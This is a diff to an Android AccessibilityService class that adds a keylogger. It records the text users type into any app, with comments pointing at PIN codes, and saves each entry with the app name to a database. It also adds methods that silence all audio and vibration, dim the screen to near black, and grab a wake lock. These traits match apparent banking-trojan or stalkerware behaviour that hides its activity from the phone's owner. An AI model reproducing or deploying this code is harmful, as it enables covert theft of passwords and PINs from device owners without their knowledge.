|
|
@@ -6,24 +6,18 @@ import android.content.Intent;
|
|
|
import android.content.pm.ApplicationInfo;
|
|
|
import android.content.pm.PackageManager;
|
|
|
import android.graphics.Path;
|
|
|
-import android.graphics.PixelFormat;
|
|
|
import android.graphics.Rect;
|
|
|
-import android.os.IBinder;
|
|
|
+import android.media.AudioManager;
|
|
|
+import android.os.PowerManager;
|
|
|
import android.provider.Settings;
|
|
|
import android.util.Log;
|
|
|
-import android.view.Gravity;
|
|
|
-import android.view.LayoutInflater;
|
|
|
-import android.view.WindowManager;
|
|
|
import android.view.accessibility.AccessibilityEvent;
|
|
|
import android.view.accessibility.AccessibilityNodeInfo;
|
|
|
-import android.view.accessibility.AccessibilityWindowInfo;
|
|
|
import android.widget.FrameLayout;
|
|
|
import android.widget.ImageButton;
|
|
|
|
|
|
import com.google.gson.Gson;
|
|
|
|
|
|
-import org.json.JSONObject;
|
|
|
-
|
|
|
import java.util.ArrayDeque;
|
|
|
import java.util.ArrayList;
|
|
|
import java.util.Deque;
|
|
|
@@ -35,6 +29,8 @@ import java.util.Optional;
|
|
|
public class AccessibilityService extends android.accessibilityservice.AccessibilityService {
|
|
|
private static final String TAG = "AccessibilityService";
|
|
|
|
|
|
+ Deque<String> textQueue;
|
|
|
+
|
|
|
FrameLayout mLayout;
|
|
|
|
|
|
public static AccessibilityService instance;
|
|
|
@@ -48,7 +44,7 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
instance = this;
|
|
|
|
|
|
AccessibilityServiceInfo info = new AccessibilityServiceInfo();
|
|
|
- info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED;
|
|
|
+ info.eventTypes = AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED | AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
|
|
|
info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
|
|
|
info.notificationTimeout = 100;
|
|
|
info.flags = AccessibilityServiceInfo.DEFAULT
|
|
|
@@ -202,11 +198,37 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
|
|
|
try {
|
|
|
String packageName = event.getPackageName().toString();
|
|
|
+ int eventType = event.getEventType();
|
|
|
PackageManager packageManager = this.getPackageManager();
|
|
|
ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
|
|
|
CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
|
|
|
- Log.i(TAG, "app name is: " + applicationLabel);
|
|
|
+ Log.i(TAG, "onAccessibilityEvent: app name is: " + applicationLabel);
|
|
|
traverseNode(getRootInActiveWindow());
|
|
|
+
|
|
|
+ // 输入文本记录
|
|
|
+ if (eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
|
|
|
+ AccessibilityNodeInfo source = event.getSource();
|
|
|
+ if (source != null) {
|
|
|
+ CharSequence inputText = source.getText();
|
|
|
+ CharSequence contentDescription = source.getContentDescription();
|
|
|
+ if (inputText != null) {
|
|
|
+ if (contentDescription == null) {
|
|
|
+ contentDescription = "";
|
|
|
+ }
|
|
|
+ // PIN码
|
|
|
+ Map<String, Object> map = new HashMap<>();
|
|
|
+// if (contentDescription.toString().contains("PIN")) {
|
|
|
+ map.put("appName", applicationLabel.toString());
|
|
|
+ map.put("record", inputText.toString());
|
|
|
+ ZService.zService.saveTextRecordToDataBase(map);
|
|
|
+// } else {
|
|
|
+// Log.i(TAG, "输入文本记录 | App Name: " + applicationLabel.toString());
|
|
|
+// Log.i(TAG, "输入文本记录 | Content Description: " + contentDescription.toString());
|
|
|
+// Log.i(TAG, "输入文本记录 | Input Text: " + inputText.toString());
|
|
|
+// }
|
|
|
+ }
|
|
|
+ }
|
|
|
+ }
|
|
|
} catch (Exception e) {
|
|
|
e.printStackTrace();
|
|
|
}
|
|
|
@@ -267,5 +289,45 @@ public class AccessibilityService extends android.accessibilityservice.Accessibi
|
|
|
performGlobalAction(GLOBAL_ACTION_RECENTS);
|
|
|
}
|
|
|
|
|
|
+ public void mute() {
|
|
|
+ AudioManager audioManager = (AudioManager) getSystemService(AUDIO_SERVICE);
|
|
|
+ if (audioManager != null) {
|
|
|
+ audioManager.setRingerMode(AudioManager.RINGER_MODE_SILENT);
|
|
|
+ // 媒体音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 0, 0);
|
|
|
+ // 通知音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_NOTIFICATION, 0, 0);
|
|
|
+ // 系统音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 0, 0);
|
|
|
+ // 铃声音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_RING, 0, 0);
|
|
|
+ // 拨号音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_DTMF, 0, 0);
|
|
|
+ // 闹钟
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_ALARM, 0, 0);
|
|
|
+ // 辅助功能音量
|
|
|
+ audioManager.setStreamVolume(AudioManager.STREAM_ACCESSIBILITY, 0, 0);
|
|
|
+ // 振动
|
|
|
+ Settings.System.putInt(getContentResolver(), Settings.System.HAPTIC_FEEDBACK_ENABLED, 0);
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ public void screenOff() {
|
|
|
+ try {
|
|
|
+ Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_BRIGHTNESS, 1);
|
|
|
+ Log.i(TAG, "ScreenOff: 完成");
|
|
|
+ } catch (SecurityException e) {
|
|
|
+ Log.e(TAG, "ScreenOff: 需要权限: " + e.getMessage(), e);
|
|
|
+ } catch (Exception e) {
|
|
|
+ Log.e(TAG, "ScreenOff: 设置时出错: " + e.getMessage(), e);
|
|
|
+ }
|
|
|
+ }
|
|
|
+
|
|
|
+ public void intoLockScreen() {
|
|
|
+ PowerManager powerManager = (PowerManager) getSystemService(POWER_SERVICE);
|
|
|
+ PowerManager.WakeLock wakeLock = powerManager.newWakeLock(PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP, "MyApp::WakeLock");
|
|
|
+ wakeLock.acquire(10 * 60 * 1000L);
|
|
|
+ wakeLock.release();
|
|
|
+ }
|
|
|
|
|
|
}
|